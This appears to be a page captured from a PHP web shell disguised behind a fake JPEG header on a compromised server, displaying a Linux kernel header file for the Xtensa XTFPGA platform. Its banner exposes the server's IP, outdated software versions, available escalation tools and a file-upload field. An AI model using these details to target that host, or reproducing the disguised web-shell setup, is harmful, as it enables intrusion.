????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 3.137.161.247 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /usr/src/linux-headers-3.13.0-35/arch/xtensa/platforms/xtfpga/include/platform/ |
Upload File : |
/* * arch/xtensa/platform/xtavnet/include/platform/hardware.h * * This file is subject to the terms and conditions of the GNU General Public * License. See the file "COPYING" in the main directory of this archive * for more details. * * Copyright (C) 2006 Tensilica Inc. */ /* * This file contains the hardware configuration of the XTAVNET boards. */ #ifndef __XTENSA_XTAVNET_HARDWARE_H #define __XTENSA_XTAVNET_HARDWARE_H /* By default NO_IRQ is defined to 0 in Linux, but we use the interrupt 0 for UART... */ #define NO_IRQ -1 /* Memory configuration. */ #define PLATFORM_DEFAULT_MEM_START 0x00000000 #define PLATFORM_DEFAULT_MEM_SIZE 0x04000000 /* Interrupt configuration. */ #define PLATFORM_NR_IRQS 10 /* Default assignment of LX60 devices to external interrupts. */ #ifdef CONFIG_ARCH_HAS_SMP #define DUART16552_INTNUM XCHAL_EXTINT3_NUM #define OETH_IRQ XCHAL_EXTINT4_NUM #else #define DUART16552_INTNUM XCHAL_EXTINT0_NUM #define OETH_IRQ XCHAL_EXTINT1_NUM #endif /* * Device addresses and parameters. */ /* UART */ #define DUART16552_PADDR (XCHAL_KIO_PADDR + 0x0D050020) /* LCD instruction and data addresses. */ #define LCD_INSTR_ADDR ((char *)IOADDR(0x0D040000)) #define LCD_DATA_ADDR ((char *)IOADDR(0x0D040004)) /* Misc. */ #define XTFPGA_FPGAREGS_VADDR IOADDR(0x0D020000) /* Clock frequency in Hz (read-only): */ #define XTFPGA_CLKFRQ_VADDR (XTFPGA_FPGAREGS_VADDR + 0x04) /* Setting of 8 DIP switches: */ #define DIP_SWITCHES_VADDR (XTFPGA_FPGAREGS_VADDR + 0x0C) /* Software reset (write 0xdead): */ #define XTFPGA_SWRST_VADDR (XTFPGA_FPGAREGS_VADDR + 0x10) /* OpenCores Ethernet controller: */ /* regs + RX/TX descriptors */ #define OETH_REGS_PADDR (XCHAL_KIO_PADDR + 0x0D030000) #define OETH_REGS_SIZE 0x1000 #define OETH_SRAMBUFF_PADDR (XCHAL_KIO_PADDR + 0x0D800000) /* 5*rx buffs + 5*tx buffs */ #define OETH_SRAMBUFF_SIZE (5 * 0x600 + 5 * 0x600) #endif /* __XTENSA_XTAVNET_HARDWARE_H */